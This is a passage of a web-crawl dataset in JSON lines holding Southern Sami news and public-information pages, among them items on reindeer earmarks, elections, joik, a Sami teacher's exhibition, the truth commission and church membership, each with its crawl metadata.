haeniehtimmiem jïh rasismem dååjroeh goh akte dan stoerre maajsoe, guktie dah sijjen saemien identiteetem båarhte veeljieh, dellie tjoerebe dam itjmi2eslaakan vaeltedh, jïh maam akt dejnie darjodh, Solberg jeahta jïh måjhtajahta dovne politihkerh reerenassesne, Stoerredigkesne jïh tjïeltine aktem sjïere dïedtem utnieh saemien gïelh vaarjelidh jïh guhkiebasse evtiedidh, hijven byjjenimmietsiehkieh sjugniedidh saemien maanide jïh noeride, gorredidh båarasåbpoe saemieh aktem hijven voeresehoksem åadtjoeh jïh saemien jielemem evtiedidh.\n–Mov reerenasse sæjhta dam darjodh, aaj åvtese, Solberg jeahta.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/samimag.no\/sma\/content\/staateministere-saalboge-tjaanghkoem-tjarke-laajhta","date":"2019-08-18T00:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313536.31\/warc\/CC-MAIN-20190818002820-20190818024820-00198.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":355,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mïerhkevuekie vihkeles båatsoesaemide åarjelsaemien dajvesne. Guktie daate mïerhke vuekie jih mejtie daate maahtoe vihkeles noeride lieredh. Guktie dihte mïerhke reereme Nøørjesne jih Sveerjesne. Daan bijre maehtede govledh daan åarjelsaemien mïerhkeseminaaresne mij edtja Stiklestaden kultuvrejarngesne årrodh.\nNoerhte Trøndelaagen fylhkenålma dihte, mij daan tjåanghkoe, seminaarese bøørie. Diekie lea båatsoesaemieh Nøørjen jih Sveerjen bieleste bøøresovveme.\nMïerhkh båatsoesaemide eadtjalgehtieh\nDah buerkiestimmie almetjh mij edtjieh desnie soptsestidh lea båatsoealmetjh jih almetjh Sveerjen Saemiedigkeste jih Laanteburriedirektovraate goevteste Altesne. Daate lea vihkeles aamhtese daejtie båatsoesaemide, dihte Noerhte -Trøøndelaagen Fylhkenålma båatsoegoevtesen raeriestæjja Risten-Marja Inga jeahta.\n– Dah båatsoesaemieh ïedtjije jih daate aamhtese mïerhki bijre vihkeles daesnie jih daate dellie dejtie eadtjalgehtieh, Inga bievnede.\nDaate aaj vihkeles daejtie noeride mij daelie bovtsegujmie aalkeme. Tjuara daam laakem jih njoelkedasside maehtedh jih daejredh guktie dihte mïerhkevuekie.\n– Daate joekoen luste jijnjh maehteles almetjh edtjieh daesnie vuekie bijre bïhkedidh jih dihte noere boelve mij edtja mijjese orre viehkien bijre bïhkedidh, guktie maahta daam mïerhkeappem mobijlesne nuhtjedh, Inga jeahta.\nVihkeles båatsoesaemide gaavnesjidh\nDagkeres tjåanghkoe vååjnoe daerpies, jijnjh båetieh.\n– Guktie daelie utnebe 70 sijjieh man åvteste maeksebe jih daelie barre naan gellie sijjieh aajmone. Luste aaj, jijnjh noereh sijhtieh båetedh, Inga jeahta.\nDaate mïerhke seminaare suehpeden 26-27 .b.\n.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.nrk.no\/sapmi\/mierhkevuekie-maahta-eadtjalgehtedh-1.12335450","date":"2019-08-22T16:57:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00126.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":190,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemebiejjiem dov veeljemesijjesne tjaatsestidh\nFïerhten veeljemedajvesne akte veeljemesijjie gååvnese.\nDah veeljijh maehtieh veeljemebiejjiem veeljemesijjesne tjaatsestidh dennie dajvesne gusnie dah tjaatsestimmielåhkosne tjaalasovveme. Mij sijjide tjaatsestimmiekåarhtesne tjåådtje. Veeljemesijjieh edtjieh aaj svihtjemeheaptose sjïehtedamme. Jis veeljije svihtjemeheaptoen gaavhtan ij maehtieh veeljemesæjjan tjaangedh, maehtieh tjaatsestimmiedåastojh tjaatsestimmiem veeljemesijjien ålkolen veedtjedh.\nVeeljemesijjieh daamhtaj gaahpode ts. 08.00-20.00 (Veeljeme Europa-parlameentese ts. 21.00 raajan). Veeljememoenehtse maahta leeneståvroen ektesne nænnoestidh åeniehkåbpoe gaahpoetïjjem.\nVeeljememoenehtse fïere guhte tjïeltesne nænnoste mah sijjieh bööremes dïsse sjiehtieh. Veeljememoenehtse aaj unnemes njieljie almetjh nommestahta gïeh tjaatsestimmiedåastojh fïere guhtene veeljemesijjesne. Veeljemesijjesne tjuerieh unnemes golme tjaatsestimmiedåastojh seamma tïjjesne årrodh gosse veeljijh tjaatsestieh.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemebiejjiem-dov-veeljemesijjesne-tjaatsestidh.html","date":"2019-08-18T01:30:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313536.31\/warc\/CC-MAIN-20190818002820-20190818024820-00358.warc.gz","language":"sma","language_score":0.9999910593,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999910593032837}","num_words":91,"character_repetition_ratio":0.132,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Irhkeme, jearsoesvoete jïh vihtiesvoete\nMobbning, trygghet och säkerhet\nSkuvle barkoesijjie jïh vihkeles byjrese gusnie gaajhkh maanah edtjieh damtedh dah vyörtegsvoetine jïh seahkarimmine gïetedamme. Skuvle edtja aaj jearsoes byjresem årrodh.\nFïerhtene maadthskuvlesne anti-irhkemedåehkiem gååvnese mij barka irhkemem heerrede jïh dan vööste barkedh. Fïerhtene jåarhkeskuvline gïetedimmiesoejkesje irhkemen vööste.\nBïeljelh fïerhtem skuvlem jïh dellie åadtjoeh jienebh daejredh.\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/irhkemejearsoesvoetejihvihtiesvoete.4.3f5fc95914ce7bcf45114d94.html","date":"2019-09-23T18:42:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514577478.95\/warc\/CC-MAIN-20190923172009-20190923194009-00370.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":57,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jirreden tsåahka 18.30-20.00 Doktortjønna'sne Rørosmuseet aktem buerkiestimmiem öörnie gusnie Unni Fjellheim edtja meatan soptsestidh. Dan buerkiestimmien aamhtese lea: Dejpeli snïjpetjohph jïh gumhtie snïjpetjohpe byjreskem dïjpeme.\nJuktie saemieh eeremes dueljeste, gaamesistie jïh gaallojste dovne vaarjoeh gaamegh gåaroejin. Gaamesh jïh gaalloeh jïjtjh maallem tjohpide vedtin. Dan dïehre snïjpetjohpe nemhtie vååjnoe.\nUnni Fjellheim lea akte væjkele nyjsenæjja mij daennie dajvesne årroeminie. Dïhte jïjnjem åarjelsaemien vætnan, båatsoen, gïelem jïh ovmessieh vuekiej bïjre daajrah.\nJirreden buerkiestimmie snïjpetjohpen bïjre edtja åarjelsaemiengïelesne årrodh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rorosnytt.no\/jirreden-iehkeden-unni-fjellheim-snijpetjohpen-bijre-soptseste\/","date":"2019-09-19T15:11:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00424.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":75,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"iSÁMi.Press AS akte frijje jïh jïjtjeraarehke saemien meedijasïelte. Mijjieh barkebe Årroeh vååregeplaakaten njoelkedassi mietie hijven preessevuakan. Åejviekontovre lea Karasjohkesne.\nUlmie lea aktem ektie saemien nedtebaseradamme meedijabetniem tseegkedh aktine gieltegs maahtoebyjresinie. Aalkoelisnie eajhnadovvebe aktem redaksjovnem jïh appevuekiem tseegkedh, saernie- jïh bïevnesesijjie juktie saemien saernieh jïh magasijnem darjodh aktine saemien sisveginie. Sïjhtebe bijjiebaakoeh sjugniedidh jïh sijjiem vedtedh soptsesidie mah tjuerieh soptsesovvedh.\n- iSámi.Press edtja akte ektie meedijabetnie årrodh saemien årroejidie\n- iSámi.Press sov bijjemes ulmine åtna biejjieöörnegem bïejedh jïh digkiedæmman, mïelesjugniedæmman jïh gïeleevtiedæmman sjïehteladtedh saemien siebriedahkesne.\n- iSámi.Press edtja saernieh- jïh sjyöhtehke aamhth utnedh mah leah biejjieplaeriej vuekien mietie\n- iSámi.Press sæjhta akten ræhpas jïh bievnije byögkeles soptsestæmman saemien årroejidie sjïehteladtedh\n- iSámi.Press sæjhta akten positijve siebriedahkeevtiedæmman Saepmesne dåarjelidh jïh govlesadtemasse rïhpestidh jeatjah aalkoealmetjigujmie veartenisnie.\nSámi magasijne aktem nænnoes redaksjonelle dorjesem åtna mij akten joekoen fryöjstehke jïh tjïelke ulmiedåahkan deellie. Sámi magasijnesne datne almetjh gaavnedh mejtie gïerve hijvenlaakan råakedh jeatjah kanaaline.\nSámi magasijne akte politihkeles jïjtjeraarehke våhkoeplaerie. Plaerie jïjtjemse åehpiedahta goh kultuvre- jïh lahtestimmieplaerie jïh veele tjaalegh buakta politihken, jielemen, kultuvren jïh histovrijen bïjre. Mijjieh gïengelisnie goerehtibie, lohkijidie rïektes ektiedimmide vedtebe jïh saernieh jïh sjyöhtehke heannadimmieh bïejebe akten stuerebe jïh gïengelesåbpoe perspektijvese.\nMijjen lohkijh\nSámi magasijnen lohkijh leah: Daajbaaletje almetjh gåabpagihtie tjoeleste mah ektievoetem ååktoeh, akademijen byjresistie jïh hijven åestemefaamojne. Nyjsenæjjah jïh gaarmanæjjah jïh ålmah bijjelen 30 jaepieh mah stoerre ïedtjem utnieh kultuvrese jïh siebriedahkese jïh mah aktem veelebe goerkesem siebriedahkeevtiedimmeste sijhtieh.\nSámi magasijnen bïjre\n- Medtie 2000 lohkijh fïerhten våhkoen\n- Jïjtjeraarehke våhkoeplaerie mij båata fïerhten bearjadahken\n- Nasjonaale jïh veartenevijries aamhtesi bïjre\n- Fokuse politihkese, jieliemasse, kultuvrese jïh histovrijasse\n- Forume duekieanalyjsese, laejhtiemasse, kronihkese jïh digkiedæmman\n- Vielie goh 900 dåeriedæjjah FB:sne\n- Låhkoe 750\n- Deellesåvva abpe Saepmesne\nDov aevhkieh goh dongkije Sámi magasijnese\n- Åadtjoeh Sámi magasijnem dov gåatan fïerhten bearjadahken\n- Giehpebe åasa fïerhten plaerien åvteste\n- Åadtjoeh gaajhkh aamhtesh lohkedh sijjesne samimag.no\n- Åadtjoeh eAvis lohkedh mij lea sjïehtedamme mobijlese jïh nedtepreejrese\n- Åadtjoeh gaajhkh tjaalegh våarhkosne lohkedh","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/samimag.no\/sma\/content\/mijjem-b%C3%AFjre","date":"2019-09-15T22:41:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572436.52\/warc\/CC-MAIN-20190915215643-20190916001643-00456.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":300,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Joejke-teeksth leah saemien båarasommes aerpievuekien lidteratuvrh. Saemien aerpievuekesne joejke vihkeles sijjiem utni jïh åtna. Joejke lij aaj vihkeles saemien aerpievuekien jaahkosne jïh dovletje jïh daaletje bïevnesh saemien siebriedahken bïjre vadta.\nJoejkh jïh joejkedh\nJoejkh leah saemiej jïh dej jieledi bïjre. Almetjh eatnemem, båatsoem jïh almetjem joejkestieh. Eatneme jïh joejke leah tjarke sinsætnan ektiedamme. Joejke maahta dååjresem eatnamistie, juvrijste jallh almetjistie soptsestidh jïh buektedh.\nSveerjesne Karl Tirén (1869-1955) joejkh golteli jïh daejtie tjeeli novtapaehpierasse. 1960-låhkosne Israel Ruong Sveerjen Raadijovisnie barki jïh Saepmien mietie vöölki jïh båeries joejkh golteli jïh tjoejebaantese tjöönghki. Aktem daejstie lij Åvlavuelien råantjoeh jallh Renhjorden på Oulavuolie maam Nils Mattias Andersson joejkesti.\nLaavenjassh båeries joejke-teeksteseKjernestoff\nJoejken aarvoe åvtesne jïh daelieKjernestoff\nAerpievuekien maahtojne joejkedhKjernestoff\nJoejke daelieKjernestoff\nVuelie, vuolle, luohti jïh leuddKjernestoff\nLaavenjassh: Joejkemen bïjreKjernestoff\nLaavenjassh: Åvlavuelien råantjoehKjernestoff\nLaavenjasse: Joejkeme jealaKjernestoff","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/","date":"2019-09-22T09:21:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575402.81\/warc\/CC-MAIN-20190922073800-20190922095800-00321.warc.gz","language":"sma","language_score":0.9999665022,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999665021896362}","num_words":130,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dennie gåetesne mij aalkoelisnie lij tyskerebraagka Viosesne maahtah daelie vuasahtallemem «Eallan vuelie» vuejnedh. – Mojhtesh Ella Holm Bullen jieliedistie jïh barkoste goh rektovre\/lohkehtæjja Åarjel-saemiej skuvlesne.\nBåatsojne orriji\nGosse Ella Holm Bull jïh geellebe Nils Holm Bull Snåasese juhtin 1967 Næjla lij ajve naan gille askh.\nDïhte aktine eadtjohke tjidtjine byjjeni. Jaepien 1968 raejeste 1996 raajan Ealla Åarjel-saemiej skuvlesne barki, dovne goh lohkehtæjja jïh rektovre.\n– Dïhte mahte abpe dygnem barki jïh kontovrem abpe gåetesne utni. Aehtjie tsåahka govhte, bielie tjïjhtje tjuedtjieli men dellie tjidtjie lij joe barkosne. Gosse ij lij skuvlesne tellefovne ringki, Næjla soptseste.\nAehtjie Nils Holm Bull båatsojne orriji Velfjovlesne jïh Eallam Snåasese dåeriedi guktie dïhte meehtie jåerhkedh åarjelsaemien gïelen åvteste barkedh gosse Åarjel-saemiej skuvle tseegkesovvi 1968.\n– Aehtjie lij aaj væjkele sæjjasadtje lohkehtæjjide, jïh lissine gåetiem jïh maanide stuvri. Dïhte lij akte daajbaaletje ålma don baelien jïh lij stoerre viehkie Eallese guktie dïhte meehti sov barkoem darjodh, Laila soptseste.\nGånkan gullie\nDah leah jïjnjem histovrijem gaavneme laptesne Viosesne. Daelie vïedtjide feegreme learohkebarkoejgujmie, guvviejgujmie jïh stuhtjetjigujmie plaerijste saemieskuvlebaeleste.\n– Datne maahtah evtiedimmiem vuejnedh – dejnie voestes guvvine ij leah naan motovrevuajastahkh, mearan dejnie minngemes guvvine dovne lopmeskovterh, leessemebïjlh, helikopterh jïh traktovrh - gaajhkesåarhts, Næjla mojjehte.\nDah aaj åarjelsaemien gærjah vuesiehtamme, gaskem jeatjah dom voestes grammatihkem.\n– Dïhte bïjre jarkan fealadi baantespealarinie jïh båeries saemieh byjrehti sov gærjaprosjektide. Knut Bergslandine ektine dïhte dam åarjelsaemien tjaelemegïelem evtiedi, Laila jïh Næjla soptsestieh mah gelliej gærjaj gaskem aaj dam voestes grammatihkegærjam jaepeste 1994 utnieh.\n– Mijjieh aaj filmestuhtjh utnebe mejtie Ealla jïh Næjla filmadin 8-millimeeterfilmine. Mijjieh dejtie Oslose seedtimh gusnie dejtie digitaliseradin, jïh dejtie sïjhtebe daesnie vuesiehtidh, soptsestieh.\nDaesnie aaj Noerhte-Trööndelagen fylhkentjïelten kultuvrebaalhka maam Ealla åadtjoeji 1982, Gånkan earoehtimmiebaalhka gullesne jaepeste 1987 jïh akte diplovme Noerhtelaanti saemien gulliebaalhkan åvteste 2004.\nDaelie gegkiestieh ïedtjeladtjh sijhtieh mïnnedh hïejmesne Viosesne.\n– Mijjieh rïhpestamme jïh vuasahtalleme sæjhta daesnie tjåadtjodh aaj ohtje ståantem heevehtimmien mænngan. Båetede ajve oksesne ringkede, Laila jïh Næjla jiehtieh.\nÏedtjije learohkh\nGærjesne Ottar - lyjhkedihks smaave tjaalegh Tromsø Museumistie Nr, 116-117 Ella Holm Bull aktem tjaalegem tjeeli Saemieskuvlen bïjre Snåasesne 1979.\nDaesnie barkoen bïjre 1940 raajan tjaala gosse Gærhkoe- jïh ööhpehtimmiedepartemeente nænnoesti aktem skuvlem bigkedh Kråangkesne jallh Snåasene. Dåara dejtie soejkesjidie tjöödtjesti, men tjaktjen 1968 internaate lij gaervies jïh sov voestes saemienlearohkh dåastoeji mah sïjhtin skuvlem Snåasesne vaedtsedh (don baelien Vinjesne)\nDïhte sov tjaalegem daej baakoejgujmie orreje.\n– Minngemes, men ij goh unnemes, tjoerebe gïeleööhpehtimmiem neebnedh. Eevre 1. klaassen raejeste jïh bæjjese 9. klaassese åarjelsaemien ööhpehtimmiem vedtebe. Gaatesjen dle fïerhte klaasse ajve göökte tæjmoeh saemien åtna fierhten våhkoen. Dïhte ååpsen vaenie. Mijjieh gegkiestibie akte buerebe öörnege sjædta jienebi tæjmoejgujmie fïerhten våhkoen. Sjollehke vuejnedh learohkh dan stoerre ïedtjem utnieh gosse lea gïelen bïjre. Dah maaje gihtjieh: - Ibie maehtieh vielie saemien åadtjodh? Dej voerkesvoetesne gïele dïhte jïjtjehke våarome, jïh jis gïele gaarvene, dellie mij akt vihkeles kultuvrevåaroemisnie gaarvene.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.snasningen.no\/nyheter\/2018\/09\/19\/Vuasahtallemem-dorje-Ella-Holm-Bullen-g%C3%A5etesne-17542902.ece","date":"2019-09-20T16:59:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574050.69\/warc\/CC-MAIN-20190920155311-20190920181311-00307.warc.gz","language":"sma","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999845027923584}","num_words":438,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båetije våhkoen skïereden dæjstan 17.biejjien tsåahka 19.00 dïhte saemien tjaelije Inga Ravna Eira Röörosen gærjagåatan båata.\nInga Ravna Eira (71) båatsoefuelhkesne Kárášjohkesne byjjeni jïh dïhte lea lohkehtæjjine aarebi barkeme. Mohte dïhte aaj jarkoestæjja, joejkije, kultuvrebarkije jïh aaj lea lyrihke, novellah jïh maanajgærjah tjaaleme. Dïhte aaj ovmessieh heevehtimmide sov barkoen åvteste åådtjeme. Daan jaepien dïhte aaj lea kandidaate Noerthe raerien tjaelije-heevehtimmesne sjidteme.\nDïhte gærja mij nominasjovnem sjidteme lea «Ii dát leat dat eana» («ij daate leah dïhte eatneme»). Eira maahta årrodh dïhte voestes saemie Nils-Aslak Valkeapään mænngan mij maahta dam Noerthe raerien tjaelije-heevhtimmiem åadtjodh.\nSov tjïhtsegærja «Ii dát leat dat eana» aktem gïengeles saemien goerkelimmiem dorje jïh buerkeste guktie Uksáhkká eatnemen bïjre ussjede. Mathis Nango lea dunnie gærjesne guvviedamme.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/rorosnytt.no\/baetije-vahkoen-tjaelije-inga-ravna-eira-roorosen-gaerjagaatan-baata\/","date":"2019-09-19T14:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573533.49\/warc\/CC-MAIN-20190919142838-20190919164838-00107.warc.gz","language":"sma","language_score":0.9998152852,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9998152852058411}","num_words":116,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Vaeltieh gaskesem jïh soptsesth dov histovrijem\nDam Saetniesvoete- jïh liktemekommisjovnen lïhtsege Liv Inger Somby jeahta.\nDaaroedehteme lea fuelhkieh jïh jienebh boelvh eerjeme. Dan åvteste Stoerredigkie Saetniesvoete- jïh liktemekommisjovnem tseegkeme mij edtja daaroedehtemen histovrijem goerehtalledh viehkine våarhkojne ohtsedidh jïh almetjh gihtjehtidh.\n– Gaajhkesh mijjieh daejrebe mijjieh byjjenamme daaroedehtemetïjjen. Gaajhkesh mijjieh daejrebe guktie daaroedehteme lea saemide jïh kveenide tsavtseme. Daelie gosse daate stoerre goerehtallemebarkoe lea aalkeme, dellie mijjieh nuepiem utnebe dan bïjre soptsestidh stoerresiebriedahkese jïh pryövedh liktemem buektiehtidh, Somby jeahta.\nNedtesæjroeh leah 7 gieline\nSaetniesvoete- jïh liktemekommisjovnen nedtesæjroe lea tjïjhtje gieline: https:\/\/uit.no\/kommisjonen jïh daesnie maahtah ryöktesth reektedh dan bïjre maam datne leah dååjreme.\n– Sijhtebe almetji soptsesh utnedh. Nedtesæjrosne aaj gåarede gaskesem mijjine vaeltedh, Somby haasta.\nDah liktemem sijhtieh\nAaj daan biejjien geerve. Annje geerve saemien skuvlesne åadtjodh. Vaallah laakh jïh njoelkedassh leah sjïehtedamme Saapman, jïh jeenjesh ovvaantojne haajpanieh jïh reakta-aamhtesinie båetieh dan gaavhtan. Somby gegkeste kommisjovnen barkoe maahta tsiehkiem bueriedidh.\n– Ulmie lea raeriem gaavnedh, men dellie viehkiem daarpesjibie. Histovrijem gujht damtebe, men annje gelliej almetji histovrijem maam ibie govleme annje. Vihkeles dejtie histovrijidie vihtiestidh, Somby jeahta.\nNedtesæjroe: https:\/\/uit.no\/kommisjonen","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/samimag.no\/sma\/content\/vaeltieh-gaskesem-jih-soptsesth-dov-histovrijem","date":"2019-09-15T22:08:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572436.52\/warc\/CC-MAIN-20190915215643-20190916001643-00315.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":174,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båetieh raeriestimmine sïelten jallh siebrien bïjre mij hijvenlaakan saemien nuhtjie jïh våajnoes dorje sov biejjieladtje barkosne. Åasa lea 30 000 kråvnah jïh akte tjeahpoediplome. Saemiedigkieraerien tjirkijh jallh Saemiedigkien reereme eah maehtieh åasam åadtjodh.\nGaajhkesh maehtieh raeriestimmine båetedh gïen bïjre mij byöroe gïelelutnjemeåasam vitnedh. Tjaelieh åenehks buerkiestimmiem dov raeriestæmman jïh seedth dam Saemiedægkan skïereden 9. b. 2019 åvtelen.\nSaemiedigkieraerie nænnoste gie edtja åasam åadtjodh. Åasa vadtasåvva Gïelevåhkoen öörnedimmien sjïekenisnie golken 24. b. Karasjohkesne.\nSeedth raeriestimmide diekie: email@example.com","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Raeresth-vitnijem-Saemiedigkien-gielelutnjemeaaasese","date":"2019-09-20T20:36:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574077.39\/warc\/CC-MAIN-20190920200607-20190920222607-00257.warc.gz","language":"sma","language_score":0.9999941587,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999994158744812}","num_words":71,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mannasinie edtjem meatan gærhkosne årrodh?\nGosse gærhkosne meatan årrodh dellie lïhtsege sjïdth voenges åålmegasse. Mannasinie almetjh sijhtieh Sveerjen gærhkosne jïh åålmegen barkosne meatan årrodh?\nGærhkoe gaavnemesijjie aavosne jih sårkosne\nMaana reakasåvva, maadtoeladtje sealede, gieriesvoeterelasjovne tsööpkeldahkesne, barkohts, depresjovne, noerebaelie.\nAlmetjen baalka ij leah jalke. Mijjieh gellie gyhtjelassh jïh geerve tsiehkieh juekebe jieliedisnie. Muvhtene mijjieh daam aajhtsebe gosse doestebe mijjien dååjrehtimmieh mubpijgujmie ektine juekedh. Stoerre faamoe gosse dååjrehtibie ibie oktegh mijjen dåeriesmoerine. Naakene joe seamma baalkan mietie vaadtseme, naakene joe daam tjïrrehtamme, naakene sæjhta dov baalte årrodh. Gærhkoe gaavnemesijjie gusnie maehtebe maam akt juekedh abpe jieliedinie. Gærhkoen aarkebiejjine jïh heevehtimmine åadtjobe mijjem mïss akt stuerebe tjeavadidh enn jïjtjemidie.\nBuerie båeteme:\n-\n-\n-\ndov jieledetsiehkien bïjre soptsestalledh hearrine jallh diakovnine, sjaavohthvoetesne. Datne aaj viehkiem almetjen relasjovnigujmie gærhkoen fuelhkieraeriestimmesne åadtjoeh.\nGærhkoe – jorkesimmien faamoe\nSïjhth datne mubpiem almetjem viehkiehtidh jallh aavoedidh? Sïjhth datne geerve almetjen jallh maanan aarkebiejjiem jearsobe jallh murriedåbpoe darjodh? Årroeh meatan gærhkoen volontærebarkosne jallh gærhkoen sosijaale barkoem jïh aehpiebarkoem dåarjoeh dovne Sveerjesne jïh veartanisnie. Aktijste gærhkoen vihkielommes laavenjassijste lea almetjh baenhtsesne viehkiehtidh jïh dejtie bööredh gïeh oktegh ektievoetesne. Goh lïhtsege gærhkosne maahtah dov lïhkemes viehkiehtidh dovne daesnie jïh dusnie.\nGellie åålmeginie daarpesjieh aaj volontærh gïeh saemiestieh.\nGuktie datne lïhtsege gærhkosne sjïdtedh?\nLïhtsegem gærhkosne sjædta laavkomen tjïrrh. Seamma man båeries leah maahtah lååvkesovvedh. Jis datne joe lïhtseginie jeatja kristeles gærhkosne lååvkeme, mubpene laantine maahtah lïhkemes åålmegem gaskesadtedh jïh lïhtsegem sjïdtedh gosse goerem deavhteme lihtseginie sjïdtedh. Maana nuerebe 18 jaepeste maahta gærhkosne meatan årrodh mænngan eejtegh dïsse jååhkesjieh.\nJis datne gærhkoen lïhtsege jeatjah laantesne dellie ih jïjtsistie lïhtsegem sjïdth Sveerjen gærhkose gosse Sveerjese jåhtah. Hijven dam mujhtedh gosse juvlemen bïjre ussjedibie. Jis sïjhth gærhkoe edtja datnem juvledh jallh dov lïhkesadtjide dellie vihkeles goerehtidh jis dijjieh lïhtsegh Sveerjen gærhkosne. Jis datne ih daejrieh jis lïhtsege gærhkosne maahtah lïhkemes åålmegem gaskesadtedh.\nMaam maeksedh lïhtsege gærkosne årrodh?\nLïhtsegh båarasåbpoe 18 jaepeste gærhkoemaaksoem maeksieh, jïh dan stoeredahke jeerehte dov baalhkeste jïh mij åålmeginie leah lïhtsege. Gærhkoemaaksoe 2019 medtie 1,03 proseenth baalhkeste gosse skaehtiem maeksedh. Gærhkoemaaksoe akten aejkien jaepesne maaksah baalhkaskaehtien ektine.\nJeenjemes vierhtijste mah båetieh gærhkoemaaksojne dejtie voenges åålmegidie dej fïerhtede beajjan barkose jåhta, goh maana- jïh noerebarkoe, diakovnebarkoe, musihkedarjome, skïemtjegåetiegærhkoen barkose jïh fuelhkieraeriestæmman. . Lïhtsegemaaksojne aaj gærhkoebigkemh maeksieh jïh kultuvrehistovrijen vierhtide båetije boelvide vaarjelidh.\nMannasinie edtjem gærhkosne meatan årrodh?\nSveerjen gærhkosne 5,9 millijovnh lïhtsegh. 